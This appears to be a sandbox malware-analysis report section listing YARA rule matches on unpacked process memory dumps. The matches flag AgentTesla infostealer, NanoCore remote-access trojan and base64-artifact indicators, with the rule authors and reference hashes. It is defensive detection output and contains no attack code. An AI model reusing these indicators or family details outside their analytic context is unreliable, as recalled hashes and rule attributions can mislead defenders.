Source: 15.2.Qjarsxlh.exe.61c0000.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.TM57812337.exe.52c0000.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 16.2.Qjarsxlh.exe.59f0000.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 16.3.Qjarsxlh.exe.3c38e80.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.3.Qjarsxlh.exe.4488e60.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 33.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 16.2.Qjarsxlh.exe.3b87b90.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.3.TM57812337.exe.36e8e80.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 33.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.3.Qjarsxlh.exe.4548ea0.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3ed0b10.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.TM57812337.exe.52c0000.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.3.Qjarsxlh.exe.44c8e80.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3fb0b70.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 33.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 15.2.Qjarsxlh.exe.61c0000.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 16.3.Qjarsxlh.exe.3c38e80.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 16.3.Qjarsxlh.exe.3bf8e60.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.2.Qjarsxlh.exe.4417b90.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 32.2.InstallUtil.exe.2fcb430.1.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.2.InstallUtil.exe.2fcb430.1.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.2.InstallUtil.exe.2fcb430.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 16.3.Qjarsxlh.exe.3bd8e40.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 16.2.Qjarsxlh.exe.3b87b90.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.3.TM57812337.exe.3768ea0.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 15.3.Qjarsxlh.exe.44c8e80.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 32.2.InstallUtil.exe.6090000.5.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.2.InstallUtil.exe.6090000.5.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.2.InstallUtil.exe.6090000.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 33.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 16.3.Qjarsxlh.exe.3cb8ea0.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 16.3.Qjarsxlh.exe.3cb8ea0.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3f30b50.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.3.TM57812337.exe.36e8e80.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 33.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3f30b50.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 16.2.Qjarsxlh.exe.59f0000.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.TM57812337.exe.3637b90.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
